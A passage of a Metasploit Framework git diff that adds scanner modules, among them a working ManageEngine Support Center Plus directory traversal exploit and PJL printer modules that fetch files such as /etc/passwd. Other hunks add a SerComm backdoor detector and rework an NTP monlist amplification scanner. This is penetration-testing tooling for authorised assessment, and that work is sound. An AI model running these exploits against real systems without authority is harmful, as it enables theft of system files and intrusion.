-    opts = datastore['OPTS']
-    method = datastore['METHOD'].upcase
-
-    wmap_target_host = datastore['VHOST'] if datastore['VHOST']
-
-    sqlmap_url  = (datastore['SSL'] ? "https" : "http")
-    sqlmap_url << "://"
-    sqlmap_url << wmap_target_host
-    sqlmap_url << ":"
-    sqlmap_url << wmap_target_port.to_s
-    sqlmap_url << "/"
-    sqlmap_url << datastore['PATH']
-
-    if method == "GET"
-      sqlmap_url << '?'
-      sqlmap_url << datastore['QUERY']
-    elsif method == "POST"
-      data << "&"
-      data << datastore['QUERY']
-    end
-
-    cmd = [ sqlmap ]
-    cmd += [ '-u', sqlmap_url ]
-    if opts
-      cmd << opts
-    end
-    if data
-      cmd += [ '--data', data ]
-    end
-    if datastore['BATCH'] == true
-      cmd << '--batch'
-    end
-
-    print_status("exec: #{cmd.inspect}")
-    system(*cmd)
-  end
-
-end
diff --git a/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb b/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb
new file mode 100644
index 0000000000..4dd71493e3
--- /dev/null
+++ b/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb
@@ -0,0 +1,160 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::Report
+  include Msf::Auxiliary::Scanner
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "ManageEngine Support Center Plus Directory Traversal",
+      'Description'    => %q{
+        This module exploits a directory traversal vulnerability found in ManageEngine
+        Support Center Plus build 7916 and lower. The module will create a support ticket
+        as a normal user, attaching a link to a file on the server. By requesting our
+        own attachment, it's possible to retrieve any file on the filesystem with the same
+        privileges as Support Center Plus is running. On Windows this is always with SYSTEM
+        privileges.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         => 'xistence <xistence[at]0x90.nl>', # Discovery, Metasploit module
+      'References'     =>
+        [
+          ['EDB', '31262'],
+          ['OSVDB', '102656'],
+          ['BID', '65199'],
+          ['URL', 'http://packetstormsecurity.com/files/124975/ManageEngine-Support-Center-Plus-7916-Directory-Traversal.html']
+        ],
+      'DisclosureDate' => "Jan 28 2014"
+    ))
+
+    register_options(
+      [
+        Opt::RPORT(8080),
+        OptString.new('TARGETURI', [true, 'The base path to the Support Center Plus installation', '/']),
+        OptString.new('USER', [true, 'The Support Center Plus user', 'guest']),
+        OptString.new('PASS', [true, 'The Support Center Plus password', 'guest']),
+        OptString.new('FILE', [true, 'The Support Center Plus password', '/etc/passwd'])
+      ], self.class)
+  end
+
+  def run_host(ip)
+    uri = target_uri.path
+    peer = "#{ip}:#{rport}"
+
+    vprint_status("#{peer} - Retrieving cookie")
+    res = send_request_cgi({
+      'method' => 'GET',
+      'uri'    => normalize_uri(uri, "")
+    })
+
+    if res and res.code == 200
+      session = res.get_cookies
+    else
+      vprint_error("#{peer} - Server returned #{res.code.to_s}")
+    end
+
+    vprint_status("#{peer} - Logging in as user [ #{datastore['USER']} ]")
+    res = send_request_cgi({
+      'method' => 'POST',
+      'uri'    => normalize_uri(uri, "j_security_check"),
+      'cookie' => session,
+      'vars_post' =>
+      {
+        'j_username' => datastore['USER'],
+        'j_password' => datastore['PASS'],
+        'logonDomainName' => 'undefined',
+        'sso_status' => 'false',
+        'loginButton' => 'Login'
+      }
+    })
+
+    if res and res.code == 302
+      vprint_status("#{peer} - Login succesful")
+    else
+      vprint_error("#{peer} - Login was not succesful!")
+      return
+    end
+
+    randomname = Rex::Text.rand_text_alphanumeric(10)
+    vprint_status("#{peer} - Creating ticket with our requested file [ #{datastore['FILE']} ] as attachment")
+    res = send_request_cgi({
+      'method' => 'POST',
+      'uri'    => normalize_uri(uri, "WorkOrder.do"),
+      'cookie' => session,
+      'vars_post' =>
+        {
+          'reqTemplate' => '',
+          'prodId' => '0',
+          'priority' => '2',
+          'reqID' => '2',
+          'usertypename' => 'Requester',
+          'reqName' => 'Guest',
+          'category' => '0',
+          'item' => '0',
+          'subCategory' => '0',
+          'title' => randomname,
+          'description' => randomname,
+          'MOD_IND' => 'WorkOrder',
+          'FORMNAME' => 'WorkOrderForm',
+          'attach' => "/../../../../../../../../../../../..#{datastore['FILE']}",
+          'attPath' => '',
+          'component' => 'Request',
+          'attSize' => Rex::Text.rand_text_numeric(8),
+          'attachments' => randomname,
+          'autoCCList' => '',
+          'addWO' => 'addWO'
+        }
+      })
+
+    if res and res.code == 200
+      vprint_status("#{peer} - Ticket created")
+      if (res.body =~ /FileDownload.jsp\?module=Request\&ID=(\d+)\&authKey=(.*)\" class=/)
+        fileid = $1
+        vprint_status("#{peer} - File ID is [ #{fileid} ]")
+        fileauthkey = $2
+        vprint_status("#{peer} - Auth Key is [ #{fileauthkey} ]")
+      else
+        vprint_error("#{peer} - File ID and AuthKey not found!")
+      end
+    else
+      vprint_error("#{peer} - Ticket not created due to error!")
+      return
+    end
+
+    vprint_status("#{peer} - Requesting file [ #{uri}workorder/FileDownload.jsp?module=Request&ID=#{fileid}&authKey=#{fileauthkey} ]")
+    res = send_request_cgi({
+      'method' => 'GET',
+      'uri' => normalize_uri(uri, "workorder", "FileDownload.jsp"),
+      'vars_get' =>
+      {
+        'module' => 'Request',
+        'ID' => fileid,
+        'authKey' => fileauthkey
+      }
+    })
+
+    # If we don't get a 200 when we request our malicious payload, we suspect
+    # we don't have a shell, either.  Print the status code for debugging purposes.
+    if res and res.code == 200
+      data = res.body
+      p = store_loot(
+        'manageengine.supportcenterplus',
+        'application/octet-stream',
+        ip,
+        data,
+        datastore['FILE']
+      )
+      print_good("#{peer} - [ #{datastore['FILE']} ] loot stored as [ #{p} ]")
+    else
+      vprint_error("#{peer} - Server returned #{res.code.to_s}")
+    end
+  end
+end
+
diff --git a/modules/auxiliary/scanner/http/typo3_bruteforce.rb b/modules/auxiliary/scanner/http/typo3_bruteforce.rb
index 797af7c368..12345fec0a 100644
--- a/modules/auxiliary/scanner/http/typo3_bruteforce.rb
+++ b/modules/auxiliary/scanner/http/typo3_bruteforce.rb
@@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary
     super(
       'Name'        => 'Typo3 Login Bruteforcer',
       'Description' => 'This module attempts to bruteforce Typo3 logins.',
-      'Author'      => [ 'Christian Mehlmauer <FireFart[at]gmail.com>' ],
+      'Author'      => [ 'Christian Mehlmauer' ],
       'License'     => MSF_LICENSE
     )
   end
diff --git a/modules/auxiliary/scanner/http/wordpress_login_enum.rb b/modules/auxiliary/scanner/http/wordpress_login_enum.rb
index f48d4e970d..147950bf1e 100644
--- a/modules/auxiliary/scanner/http/wordpress_login_enum.rb
+++ b/modules/auxiliary/scanner/http/wordpress_login_enum.rb
@@ -20,7 +20,7 @@ class Metasploit3 < Msf::Auxiliary
           'Alligator Security Team',
           'Tiago Ferreira <tiago.ccna[at]gmail.com>',
           'Zach Grace <zgrace[at]404labs.com>',
-          'Christian Mehlmauer <FireFart[at]gmail.com'
+          'Christian Mehlmauer'
         ],
       'References'     =>
         [
diff --git a/modules/auxiliary/scanner/http/wordpress_pingback_access.rb b/modules/auxiliary/scanner/http/wordpress_pingback_access.rb
index a21c927962..e31cd9a7f8 100644
--- a/modules/auxiliary/scanner/http/wordpress_pingback_access.rb
+++ b/modules/auxiliary/scanner/http/wordpress_pingback_access.rb
@@ -24,7 +24,7 @@ class Metasploit3 < Msf::Auxiliary
         [
           'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>',
           'Brandon McCann "zeknox" <bmccann[at]accuvant.com>' ,
-          'Christian Mehlmauer "FireFart" <FireFart[at]gmail.com>' # Original PoC
+          'Christian Mehlmauer' # Original PoC
         ],
       'License' => MSF_LICENSE,
       'References'  =>
diff --git a/modules/auxiliary/scanner/http/wordpress_scanner.rb b/modules/auxiliary/scanner/http/wordpress_scanner.rb
index 9bce58b651..00068437ab 100644
--- a/modules/auxiliary/scanner/http/wordpress_scanner.rb
+++ b/modules/auxiliary/scanner/http/wordpress_scanner.rb
@@ -14,7 +14,7 @@ class Metasploit3 < Msf::Auxiliary
     super(
       'Name'        => 'Wordpress Scanner',
       'Description' => 'Detects Wordpress installations and their version number',
-      'Author'      => [ 'Christian Mehlmauer <FireFart[at]gmail.com>' ],
+      'Author'      => [ 'Christian Mehlmauer' ],
       'License'     => MSF_LICENSE
     )
   end
diff --git a/modules/auxiliary/scanner/misc/sercomm_backdoor_scanner.rb b/modules/auxiliary/scanner/misc/sercomm_backdoor_scanner.rb
new file mode 100644
index 0000000000..66e07508ef
--- /dev/null
+++ b/modules/auxiliary/scanner/misc/sercomm_backdoor_scanner.rb
@@ -0,0 +1,70 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Auxiliary::Scanner
+  include Msf::Auxiliary::Report
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'        => 'SerComm Network Device Backdoor Detection',
+      'Description' => %q{
+        This module can identify SerComm manufactured network devices which
+        contain a backdoor, allowing command injection or account disclosure.
+      },
+      'Author'         =>
+        [
+          'Eloi Vanderbeken <eloi.vanderbeken[at]gmail.com>', # Initial discovery, poc
+          'Matt "hostess" Andreko <mandreko[at]accuvant.com>' # Msf module
+        ],
+        'License'     => MSF_LICENSE,
+        'References'     =>
+        [
+          [ 'OSVDB', '101653' ],
+          [ 'URL', 'https://github.com/elvanderb/TCP-32764' ]
+        ],
+        'DisclosureDate' => "Dec 31 2013" ))
+
+    register_options([
+        Opt::RPORT(32764)
+      ])
+  end
+
+  def do_report(ip, endianess)
+    report_vuln({
+      :host => ip,
+      :port => rport,
+      :name => "SerComm Network Device Backdoor",
+      :refs => self.references,
+      :info => "SerComm Network Device Backdoor found on a #{endianess} device"
+    })
+  end
+
+  def run_host(ip)
+    begin
+      connect
+      sock.put(Rex::Text.rand_text(5))
+      res = sock.get_once
+      disconnect
+
+      if (res && res.start_with?("MMcS"))
+        print_good("#{ip}:#{rport} - Possible backdoor detected - Big Endian")
+        do_report(ip, "Big Endian")
+      elsif (res && res.start_with?("ScMM"))
+        print_good("#{ip}:#{rport} - Possible backdoor detected - Little Endian")
+        do_report(ip, "Little Endian")
+      else
+        vprint_status("#{ip}:#{rport} - Backdoor not detected.")
+      end
+    rescue Rex::ConnectionError => e
+      vprint_status("#{ip}:#{rport} - Connection failed: #{e.class}: #{e}")
+    end
+  end
+
+end
diff --git a/modules/auxiliary/scanner/mongodb/mongodb_login.rb b/modules/auxiliary/scanner/mongodb/mongodb_login.rb
index c3ab98e406..3a66283f27 100644
--- a/modules/auxiliary/scanner/mongodb/mongodb_login.rb
+++ b/modules/auxiliary/scanner/mongodb/mongodb_login.rb
@@ -46,6 +46,14 @@ class Metasploit3 < Msf::Auxiliary
           do_login(user, pass)
         }
       else
+        report_vuln(
+          :host         => rhost,
+          :port         => rport,
+          :name         => "MongoDB No Authentication",
+          :refs         => self.references,
+          :exploited_at => Time.now.utc,
+          :info         => "Mongo server has no authentication."
+        )
         print_good("Mongo server #{ip.to_s} dosn't use authentication")
       end
       disconnect
diff --git a/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb b/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb
index fdba44374e..b472ed1538 100644
--- a/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb
+++ b/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb
@@ -102,7 +102,7 @@ class Metasploit3 < Msf::Auxiliary
       print_status("#{external_addr} - #{int}/#{protocol} #{state} because of code #{result} response") if (datastore['DEBUG'])
     end
 
-    if inside_workspace_boundary(external_addr)
+    if inside_workspace_boundary?(external_addr)
       report_service(
         :host   => external_addr,
         :port   => int,
diff --git a/modules/auxiliary/scanner/ntp/ntp_monlist.rb b/modules/auxiliary/scanner/ntp/ntp_monlist.rb
index f03a77a518..c8b5675377 100644
--- a/modules/auxiliary/scanner/ntp/ntp_monlist.rb
+++ b/modules/auxiliary/scanner/ntp/ntp_monlist.rb
@@ -3,10 +3,8 @@
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core'
 
-
 class Metasploit3 < Msf::Auxiliary
 
   include Msf::Auxiliary::Report
@@ -15,7 +13,20 @@ class Metasploit3 < Msf::Auxiliary
   def initialize
     super(
       'Name'        => 'NTP Monitor List Scanner',
-      'Description' => 'Obtain the list of recent clients from an NTP server',
+      'Description' => %q{
+        This module identifies NTP servers which permit "monlist" queries and
+        obtains the recent clients list. The monlist feature allows remote
+        attackers to cause a denial of service (traffic amplification)
+        via spoofed requests. The more clients there are in the list, the
+        greater the amplification.
+      },
+      'References'  =>
+        [
+          ['CVE', '2013-5211'],
+          ['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-013A'],
+          ['URL', 'http://support.ntp.org/bin/view/Main/SecurityNotice'],
+          ['URL', 'http://nmap.org/nsedoc/scripts/ntp-monlist.html'],
+        ],
       'Author'      => 'hdm',
       'License'     => MSF_LICENSE
     )
@@ -24,17 +35,17 @@ class Metasploit3 < Msf::Auxiliary
     [
       Opt::RPORT(123),
       Opt::CHOST,
-      OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256])
+      OptInt.new('RETRY', [false, "Number of tries to query the NTP server", 3]),
+      OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]),
+      OptBool.new('SHOW_LIST', [false, 'Show the recent clients list', 'false'])
     ], self.class)
 
-
     register_advanced_options(
     [
       OptBool.new('StoreNTPClients', [true, 'Store NTP clients as host records in the database', 'false'])
     ], self.class)
   end
 
-
   # Define our batch size
   def run_batch_size
     datastore['BATCHSIZE'].to_i
@@ -46,7 +57,7 @@ class Metasploit3 < Msf::Auxiliary
     @results = {}
     @aliases = {}
 
-    print_status("Sending probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
+    vprint_status("Sending probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
 
     begin
       udp_sock = nil
@@ -54,31 +65,34 @@ class Metasploit3 < Msf::Auxiliary
 
       # Create an unbound UDP socket if no CHOST is specified, otherwise
       # create a UDP socket bound to CHOST (in order to avail of pivoting)
-      udp_sock = Rex::Socket::Udp.create( { 'LocalHost' => datastore['CHOST'] || nil, 'Context' => {'Msf' => framework, 'MsfExploit' => self} })
+      udp_sock = Rex::Socket::Udp.create({
+        'LocalHost' => datastore['CHOST'] || nil,
+        'Context'   => {'Msf' => framework, 'MsfExploit' => self}
+      })
       add_socket(udp_sock)
 
-      # Try three times since NTP servers can be a bit busy
-      1.upto(3)  do
-      batch.each do |ip|
-        next if @results[ip]
+      # Try more times since NTP servers can be a bit busy
+      1.upto(datastore['RETRY'].to_i) do
+        batch.each do |ip|
+          next if @results[ip]
 
-        begin
-          data = probe_pkt_ntp(ip)
-          udp_sock.sendto(data, ip, datastore['RPORT'].to_i, 0)
-        rescue ::Interrupt
-          raise $!
-        rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
-          nil
-        end
-
-        if (idx % 30 == 0)
-          while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
-            parse_reply(r)
+          begin
+            data = probe_pkt_ntp
+            udp_sock.sendto(data, ip, datastore['RPORT'].to_i, 0)
+          rescue ::Interrupt
+            raise $!
+          rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
+            nil
           end
-        end
 
-        idx += 1
-      end
+          if (idx % 30 == 0)
+            while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
+              parse_reply(r)
+            end
+          end
+
+          idx += 1
+        end
       end
 
       while (r = udp_sock.recvfrom(65535, 10) and r[1])
@@ -109,6 +123,7 @@ class Metasploit3 < Msf::Auxiliary
       )
 
       if (@aliases[k] and @aliases[k].keys[0] != k)
+        print_good("#{k}:#{datastore['RPORT'].to_i} NTP monlist request permitted (#{@results[k].length} entries)")
         report_note(
           :host  => k,
           :proto => 'udp',
@@ -122,7 +137,15 @@ class Metasploit3 < Msf::Auxiliary
         print_status("#{k} Storing #{@results[k].length} NTP client hosts in the database...")
         @results[k].each do |r|
           maddr,mport,mserv = r
-          report_note(:host => maddr, :type => 'ntp.client.history', :data => {:address => maddr, :port => mport, :server => mserv})
+          report_note(
+            :host => maddr,
+            :type => 'ntp.client.history',
+            :data => {
+              :address => maddr,
+              :port    => mport,
+              :server  => mserv
+            }
+          )
         end
       end
     end
@@ -143,40 +166,39 @@ class Metasploit3 < Msf::Auxiliary
     port = pkt[2]
 
     return if pkt[0].length < (72 + 16)
+
+    # NTP headers 8 bytes
     ntp_flags, ntp_auth, ntp_vers, ntp_code = data.slice!(0,4).unpack('C*')
-    pcnt, plen, hlen, tmp = data.slice!(0,12).unpack('nnNN')
+    vprint_status("#{host}:#{port} - ntp_auth: #{ntp_auth}, ntp_vers: #{ntp_vers}")
+    pcnt, plen = data.slice!(0,4).unpack('nn')
     return if plen != 72
 
     idx = 0
     1.upto(pcnt) do
-      tmp1,mcnt,madd,sadd,tmp3,tmp4,mport = data[idx, plen].unpack("NNNNn3")
+      #u_int32 firsttime; /* first time we received a packet */
+      #u_int32 lasttime;  /* last packet from this host */
+      #u_int32 restr;     /* restrict bits (was named lastdrop) */
+      #u_int32 count;     /* count of packets received */
+      #u_int32 addr;      /* host address V4 style */
+      #u_int32 daddr;     /* destination host address */
+      #u_int32 flags;     /* flags about destination */
+      #u_short port;      /* port number of last reception */
+
+      firsttime,lasttime,restr,count,saddr,daddr,flags,dport = data[idx, 30].unpack("NNNNNNNn")
+
       @results[host] ||= []
       @aliases[host] ||= {}
-      @results[host] << [ Rex::Socket.addr_itoa(madd), mport, Rex::Socket.addr_itoa(sadd) ]
-      @aliases[host][Rex::Socket.addr_itoa(sadd)] = true
-      print_status("#{host}:#{port} #{Rex::Socket.addr_itoa(madd)}:#{mport} (#{Rex::Socket.addr_itoa(sadd)})")
+      @results[host] << [ Rex::Socket.addr_itoa(daddr), dport, Rex::Socket.addr_itoa(saddr) ]
+      @aliases[host][Rex::Socket.addr_itoa(saddr)] = true
+      if datastore['SHOW_LIST']
+        print_status("#{host}:#{port} #{Rex::Socket.addr_itoa(saddr)} (lst: #{lasttime}sec., cnt: #{count})")
+      end
       idx += plen
     end
   end
 
-
-  def probe_pkt_ntp(ip)
-    data =
-      "\x17\x00\x03\x2a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
-      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
-      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
-      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
-      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
-      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
-      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
-      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
-      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
-      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
-      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
-      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
-      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
-      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-    return data
+  def probe_pkt_ntp
+    "\x17\x00\x03\x2a" + "\x00" * 188
   end
 
 end
diff --git a/modules/auxiliary/scanner/portscan/ftpbounce.rb b/modules/auxiliary/scanner/portscan/ftpbounce.rb
index 46dbe302ac..81aadece43 100644
--- a/modules/auxiliary/scanner/portscan/ftpbounce.rb
+++ b/modules/auxiliary/scanner/portscan/ftpbounce.rb
@@ -17,9 +17,7 @@ class Metasploit3 < Msf::Auxiliary
       'Name'        => 'FTP Bounce Port Scanner',
       'Description' => %q{
         Enumerate TCP services via the FTP bounce PORT/LIST
-        method, which can still come in handy every once in
-        a while (I know of a server that still allows this
-        just fine...).
+        method.
       },
       'Author'      => 'kris katterjohn',
       'License'     => MSF_LICENSE
@@ -39,6 +37,14 @@ class Metasploit3 < Msf::Auxiliary
     false
   end
 
+  def rhost
+    datastore['BOUNCEHOST']
+  end
+
+  def rport
+    datastore['BOUNCEPORT']
+  end
+
   def run_host(ip)
     ports = Rex::Socket.portspec_crack(datastore['PORTS'])
 
@@ -46,9 +52,6 @@ class Metasploit3 < Msf::Auxiliary
       raise Msf::OptionValidateError.new(['PORTS'])
     end
 
-    datastore['RHOST'] = datastore['BOUNCEHOST']
-    datastore['RPORT'] = datastore['BOUNCEPORT']
-
     return if not connect_login
 
     ports.each do |port|
diff --git a/modules/auxiliary/scanner/printer/printer_download_file.rb b/modules/auxiliary/scanner/printer/printer_download_file.rb
new file mode 100644
index 0000000000..48838f6b1f
--- /dev/null
+++ b/modules/auxiliary/scanner/printer/printer_download_file.rb
@@ -0,0 +1,67 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require "msf/core"
+require "rex/proto/pjl"
+
+class Metasploit4 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Auxiliary::Scanner
+  include Msf::Auxiliary::Report
+
+  def initialize(info = {})
+    super(update_info(info,
+      "Name" => "Printer File Download Scanner",
+      "Description" => %q{
+        This module downloads a file from a set of printers using the
+        Printer Job Language (PJL) protocol.
+      },
+      "Author" => [
+        "wvu", # Rex::Proto::PJL and modules
+        "sinn3r", # RSpec tests
+        "MC", # Independent mixin and modules
+        "Myo Soe", # Independent modules
+        "Matteo Cantoni <goony[at]nothink.org>" # Independent modules
+      ],
+      "References" => [
+        ["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
+      ],
+      "License" => MSF_LICENSE
+    ))
+
+    register_options([
+      Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT),
+      OptString.new("PATHNAME", [true, "Pathname", '0:\..\..\..\etc\passwd'])
+    ], self.class)
+  end
+
+  def run_host(ip)
+    pathname = datastore["PATHNAME"]
+
+    connect
+    pjl = Rex::Proto::PJL::Client.new(sock)
+    pjl.begin_job
+
+    pjl.fsinit(pathname[0..1])
+    file = pjl.fsupload(pathname)
+
+    pjl.end_job
+    disconnect
+
+    if file
+      res = store_loot(
+        "printer.file",
+        "application/octet-stream",
+        ip,
+        file,
+        pathname,
+        "Printer file"
+      )
+      print_good("#{ip}:#{rport} - Saved #{pathname} as #{res}")
+    end
+  end
+
+end
diff --git a/modules/auxiliary/scanner/printer/printer_env_vars.rb b/modules/auxiliary/scanner/printer/printer_env_vars.rb
new file mode 100644
index 0000000000..0971d45aa3
--- /dev/null
+++ b/modules/auxiliary/scanner/printer/printer_env_vars.rb
@@ -0,0 +1,62 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require "msf/core"
+require "rex/proto/pjl"
+
+class Metasploit4 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Auxiliary::Scanner
+  include Msf::Auxiliary::Report
+
+  def initialize(info = {})
+    super(update_info(info,
+      "Name" => "Printer Environment Variables Scanner",
+      "Description" => %q{
+        This module scans for printer environment variables using the
+        Printer Job Language (PJL) protocol.
+      },
+      "Author" => [
+        "wvu", # Rex::Proto::PJL and modules
+        "sinn3r", # RSpec tests
+        "MC", # Independent mixin and modules
+        "Myo Soe", # Independent modules
+        "Matteo Cantoni" # Independent modules
+      ],
+      "References" => [
+        ["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
+      ],
+      "License" => MSF_LICENSE
+    ))
+
+    register_options([
+      Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT),
+    ], self.class)
+  end
+
+  def run_host(ip)
+    connect
+    pjl = Rex::Proto::PJL::Client.new(sock)
+    pjl.begin_job
+
+    env_vars = pjl.info_variables
+
+    pjl.end_job
+    disconnect
+
+    if env_vars
+      print_good("#{ip}:#{rport} - #{env_vars}")
+      report_note(
+        :host => ip,
+        :port => rport,
+        :proto => "tcp",
+        :type => "printer.env.vars",
+        :data => env_vars
+      )
+    end
+  end
+
+end
diff --git a/modules/auxiliary/scanner/printer/printer_list_dir.rb b/modules/auxiliary/scanner/printer/printer_list_dir.rb
new file mode 100644
index 0000000000..42966d0293
--- /dev/null
+++ b/modules/auxiliary/scanner/printer/printer_list_dir.rb
@@ -0,0 +1,66 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require "msf/core"
+require "rex/proto/pjl"
+
+class Metasploit4 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Auxiliary::Scanner
+  include Msf::Auxiliary::Report
+
+  def initialize(info = {})
+    super(update_info(info,
+      "Name" => "Printer Directory Listing Scanner",
+      "Description" => %q{
+        This module lists a directory on a set of printers using the
+        Printer Job Language (PJL) protocol.
+      },
+      "Author" => [
+        "wvu", # Rex::Proto::PJL and modules
+        "sinn3r", # RSpec tests
+        "MC", # Independent mixin and modules
+        "Myo Soe", # Independent modules
+        "Matteo Cantoni <goony[at]nothink.org>" # Independent modules
+      ],
+      "References" => [
+        ["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
+      ],
+      "License" => MSF_LICENSE
+    ))
+
+    register_options([
+      Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT),
+      OptString.new("PATHNAME", [true, "Pathname", '0:\..\..\..'])
+    ], self.class)
+  end
+
+  def run_host(ip)
+    pathname = datastore["PATHNAME"]
+
+    connect
+    pjl = Rex::Proto::PJL::Client.new(sock)
+    pjl.begin_job
+
+    pjl.fsinit(pathname[0..1])
+    listing = pjl.fsdirlist(pathname)
+
+    pjl.end_job
+    disconnect
+
+    if listing
+      print_good("#{ip}:#{rport} - #{listing}")
+      report_note(
+        :host => ip,
+        :port => rport,
+        :proto => "tcp",
+        :type => "printer.dir.listing",
+        :data => listing
+      )
+    end
+  end
+
+end
diff --git a/modules/auxiliary/scanner/printer/printer_list_volumes.rb b/modules/auxiliary/scanner/printer/printer_list_volumes.rb
new file mode 100644
index 0000000000..a8c0fca859
--- /dev/null
+++ b/modules/auxiliary/scanner/printer/printer_list_volumes.rb
@@ -0,0 +1,63 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require "msf/core"
+require "rex/proto/pjl"
+
+class Metasploit4 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Auxiliary::Scanner
+  include Msf::Auxiliary::Report
+
+  def initialize(info = {})
+    super(update_info(info,
+      "Name" => "Printer Volume Listing Scanner",
+      "Description" => %q{
+        This module lists the volumes on a set of printers using the
+        Printer Job Language (PJL) protocol.
+      },
+      "Author" => [
+        "wvu", # Rex::Proto::PJL and modules
+        "sinn3r", # RSpec tests
+        "MC", # Independent mixin and modules
+        "Myo Soe", # Independent modules
+        "Matteo Cantoni <goony[at]nothink.org>" # Independent modules
+      ],
+      "References" => [
+        ["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
+      ],
+      "License" => MSF_LICENSE
+    ))
+
+    register_options([
+      Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT),
+    ], self.class)
+  end
+
+  def run_host(ip)
+    connect
+    pjl = Rex::Proto::PJL::Client.new(sock)
+    pjl.begin_job
+
+    3.times { |volume| pjl.fsinit("#{volume}:") }
+    listing = pjl.info_filesys
+
+    pjl.end_job
+    disconnect
+
+    if listing
+      print_good("#{ip}:#{rport} - #{listing}")
+      report_note(
+        :host => ip,
+        :port => rport,
+        :proto => "tcp",
+        :type => "printer.vol.listing",
+        :data => listing
+      )
+    end
+  end
+
+end
diff --git a/modules/auxiliary/scanner/printer/printer_ready_message.rb b/modules/auxiliary/scanner/printer/printer_ready_message.rb
new file mode 100644
index 0000000000..28669215d0
--- /dev/null
+++ b/modules/auxiliary/scanner/printer/printer_ready_message.rb
@@ -0,0 +1,75 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require "msf/core"
+require "rex/proto/pjl"
+
+class Metasploit4 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Auxiliary::Scanner
+  include Msf::Auxiliary::Report
+
+  def initialize(info = {})
+    super(update_info(info,
+      "Name" => "Printer Ready Message Scanner",
+      "Description" => %q{
+        This module scans for and optionally changes the printer ready message on
+        a set of printers using the Printer Job Language (PJL) protocol.
+      },
+      "Author" => [
+        "wvu", # Rex::Proto::PJL and modules
+        "sinn3r", # RSpec tests
+        "MC", # Independent mixin and modules
+        "Myo Soe", # Independent modules
+        "Matteo Cantoni <goony[at]nothink.org>" # Independent modules
+      ],
+      "References" => [
+        ["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
+      ],
+      "License" => MSF_LICENSE
+    ))
+
+    register_options([
+      Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT),
+      OptBool.new("CHANGE", [false, "Change ready message", false]),
+      OptBool.new("RESET", [false, "Reset ready message if CHANGE", false]),
